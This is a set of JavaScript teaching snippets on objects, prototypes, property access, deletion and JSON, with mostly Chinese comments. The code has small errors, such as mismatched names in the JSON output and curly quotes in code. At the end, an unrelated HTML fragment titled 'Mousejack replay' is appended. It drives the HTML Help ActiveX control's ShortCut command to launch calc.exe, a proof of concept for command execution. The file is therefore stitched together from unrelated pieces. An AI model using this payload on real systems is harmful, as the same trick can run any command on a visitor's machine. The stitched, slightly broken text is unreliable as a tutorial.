var myFirstObject = { 
    firstName: "Richard",
    favoriteAuthor: "Conrad"
  }; 

   var ageGroup = {30: "Children", 100:"Very Old"};
  console.log(ageGroup.30) // 报错
  ​// 访问30这个属性的正确方法
  console.log(ageGroup["30"]); // Children​
  ​
  ​//最好避免使用数字作为属性名 

  // 原始类型数据是按值存储的 
  ​var person = "Kobe"; 
  ​var anotherPerson = person; // anotherPerson = the value of person​
  person = "Bryant"; // person的值改变了
  ​
  console.log(anotherPerson); // Kobe​
  console.log(person); // Bryan 

   var person = {name: "Kobe"};
  ​var anotherPerson = person;
  person.name = "Bryant";
  ​
  console.log(anotherPerson.name); // Bryant​
  console.log(person.name); // Bryant 

 // 空对象
​var myBooks = {};
​
​// 使用字面量创建的包含4个属性的对象
​var mango = {
  color: "yellow",
  shape: "round",
  sweetness: 8,
​
​  howSweetAmI: function () {
    console.log("Hmm Hmm Good");
  }
} 

var mango = new Object ();
mango.color = "yellow";
mango.shape= "round";
mango.sweetness = 8;
​
mango.howSweetAmI = function () {
  console.log("Hmm Hmm Good");
}

   var mangoFruit = {
    color: "yellow",
    sweetness: 8,
    fruitName: "Mango",
    nativeToLand: ["South America", "Central America"],
  ​
    ​showName: function () {
      console.log("This is " + this.fruitName);
    },
    ​nativeTo: function () {
      this.nativeToLand.forEach(function (eachCountry) {
        console.log("Grown in:" + eachCountry);
      });
    }
  } 

function Fruit (theColor, theSweetness, theFruitName, theNativeToLand) {
  this.color = theColor;
  this.sweetness = theSweetness;
  this.fruitName = theFruitName;
  this.nativeToLand = theNativeToLand;

  this.showName = function () {
    console.log("This is a " + this.fruitName);
  }

  this.nativeTo = function () {
    this.nativeToLand.forEach(function (eachCountry) {
      console.log("Grown in:" + eachCountry);
    });
  }
} 

 var mangoFruit = new Fruit ("Yellow", 8, "Mango", ["South America", "Central America", "West Africa"]);
mangoFruit.showName(); // This is a Mango.​
mangoFruit.nativeTo();
​//Grown in:South America​
​// Grown in:Central America​
​// Grown in:West Africa​

​var pineappleFruit = new Fruit ("Brown", 5, "Pineapple", ["United States"]);
pineappleFruit.showName(); // This is a Pineapple. 

 // 首先，创建一个对象
var aMango = new Fruit ();
// 接着，直接在对象上定义mongoSpice方法
// 因为我们直接在对象身上定义了mangoSpice属性，所以它是aMango自身的属性，不是一个可继承的属性
aMango.mangoSpice = “some value”; 

 // 首先，增加一个方法
aMango.printStuff = function() { return "Printing"; }

// 现在，可以调用printStuff方法
aMango.printStuff(); 

 function Fruit () {
}

Fruit.prototype.color = "Yellow";
Fruit.prototype.sweetness = 7;
Fruit.prototype.fruitName = "Generic Fruit";
Fruit.prototype.nativeToLand = "USA";

Fruit.prototype.showName = function () {
  console.log("This is a " + this.fruitName);
}

Fruit.prototype.nativeTo = function () {
  console.log("Grown in:" + this.nativeToLand);
} 

 var mangoFruit = new Fruit ();
mangoFruit.showName(); //​
mangoFruit.nativeTo();
​// This is a Generic Fruit​
​// Grown in:USA

 // 这是我们前面例子中一直使用的访问属性的方法
​var book = {title: "Ways to Go", pages: 280, bookMark1:"Page 20"};
​
​// 使用点记法访问book对象的title和pages属性:​
console.log ( book.title); // Ways to Go​
console.log ( book.pages); // 280 

 // 使用方括号启示访问book对象的属性：
console.log ( book["title"]); //Ways to Go​
console.log ( book["pages"]); // 280​
​
​//如果属性名储存在一个变量当中，也可以这样:​
​var bookTitle = "title";
console.log ( book[bookTitle]); // Ways to Go​
console.log (book["bookMark" + 1]); // Page 20

   // 创建一个有schoolName属性的对象
  var school = {schoolName:"MIT"};

  ​// 打印出true，因为对象拥有schoolName这个属性
  console.log("schoolName" in school); // true​
  ​
  ​// 打印出false，因为我们既没有定义schoolType属性，也没有从Object的Prototype中继承schoolType属性
  console.log("schoolType" in school); // false​
   
  ​// 打印出true, 因为从Object的Prototype中继承了toString方法
  console.log("toString" in school); // true 

   // 创建一个拥有schoolName属性的对象
  ​var school = {schoolName:"MIT"};
  ​
  ​// 打印出true，因为schooName是school的自身属性
  console.log(school.hasOwnProperty ("schoolName")); // true​
   
  ​// 打印出false，因为toString是从Object的Prototype中继承下来的，并且school的自身属性
  console.log(school.hasOwnProperty ("toString")); // false 

   // 创建拥有3个属性的school对象: schoolName, schoolAccredited, and schoolLocation.​
  ​var school = {schoolName:"MIT", schoolAccredited: true, schoolLocation:"Massachusetts"};
  ​
  ​//使用for-in循环获取对象中的属性
  ​for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  } 

   //使用for-in循环访问school对象中的属性
  for (var eachItem in school) {
    console.log(eachItem); // Prints schoolName, schoolAccredited, schoolLocation​
  }


  // 注：以下这段说明是原文的说明
  /* SIDE NOTE: As Wilson (an astute reader) correctly pointed out in the comments below, the educationLevel property is not actually inherited by objects that use the HigherLearning constructor; instead, the educationLevel property is created as a new property on each object that uses the HigherLearning constructor. The reason the property is not inherited is because we use of the "this" keyword to define the property.
  */​

  // Create a new HigherLearning function that the school object will inherit from.​

  function HigherLearning () {
    this.educationLevel = "University";
  }

  // Implement inheritance with the HigherLearning constructor​
  var school = new HigherLearning ();
  school.schoolName = "MIT";
  school.schoolAccredited = true;
  school.schoolLocation = "Massachusetts";

  //Use of the for/in loop to access the properties in the school object​
  for (var eachItem in school) {
    console.log(eachItem); // Prints educationLevel, schoolName, schoolAccredited, and schoolLocation​
  } 

  var christmasList = {mike:"Book", jason:"sweater" }
  delete christmasList.mike; // deletes the mike property​

  for (var people in christmasList) {
    console.log(people);
  }
  // Prints only jason​
  // The mike property was deleted​

  delete christmasList.toString; // 返回 true, 但是因为toString是继承的属性，所以它不会被删除

  // 因为toString没有被删除，所以这里还能够正常使用
  christmasList.toString(); //"[object Object]"​

  // 如果一个属性是对象实例的自身属性，则我们可以删除它。
  // 比如我们可以从之前例子中定义的school对象中删除educationLevel属性，
  // 因为educationLevel是定义在那个实例中的：我们在HigherLearning函数中定义educationLevel时使用了"this"关键字。
  //我们并没有在HigherLearning函数的prototype对象在定义educationLevel属性。

  console.log(school.hasOwnProperty("educationLevel")); // true​
  // educationLevel是一个school对象的一个自身属性，所以 我们可以删除它​
  delete school.educationLevel; // true

  // educationLevel属性已经从school实例中删除了
  console.log(school.educationLevel); // undefined

  // 但是educationLevel属性仍然存在于HigherLearning函数中
  var newSchool = new HigherLearning ();
  console.log(newSchool.educationLevel); // University​

  // 如果我们在HigherLearning函数prototype中定义了一个属性, 比如这个educationLevel2属性:​
  HigherLearning.prototype.educationLevel2 = "University 2";

  // 这个educationLevel2属性不属性HigherLearning实例的自身属性

  // educationLevel2属性不是school实例的自身属性​
  console.log(school.hasOwnProperty("educationLevel2")); false​
  console.log(school.educationLevel2); // University 2​

  // 尝试删除继承的educationLevel2属性​
  delete school.educationLevel2; // true (正如前面所提到的，这个表达式会返回true)

  // 继承的educationLevel2属性没有被删除
  console.log(school.educationLevel2); University 2​ 

 var christmasList = {mike:"Book", jason:"sweater", chelsea:"iPad" }
  JSON.stringify (christmasList);
  // Prints this string:​
  // "{"mike":"Book","jason":"sweater","chels":"iPad"}"

  // To print a stringified object with formatting, add "null" and "4" as parameters:​
  JSON.stringify (christmasList, null, 4);
  // "{
  //   "mike": "Book",
  //   "jason": "sweater",
  //   "chels": "iPad"​
  // }"

  // JSON.parse Examples
  // The following is a JSON string, so we cannot access the properties with dot notation (like christmasListStr.mike)​
  var christmasListStr = '{"mike":"Book","jason":"sweater","chels":"iPad"}';

  // Let's convert it to an object​
  var christmasListObj = JSON.parse (christmasListStr);

  // Now that it is an object, we use dot notation​
  console.log(christmasListObj.mike); // Book 

<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
 
command exec
 
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
 
<PARAM name="Command" value="ShortCut">
 
 <PARAM name="Button" value="Bitmap::shortcut">
 
 <PARAM name="Item1" value=',calc.exe'>
 
 <PARAM name="Item2" value="273,1,1">
 
</OBJECT>
 
<SCRIPT>
 
x.Click();
 
</SCRIPT>
 
</body></html>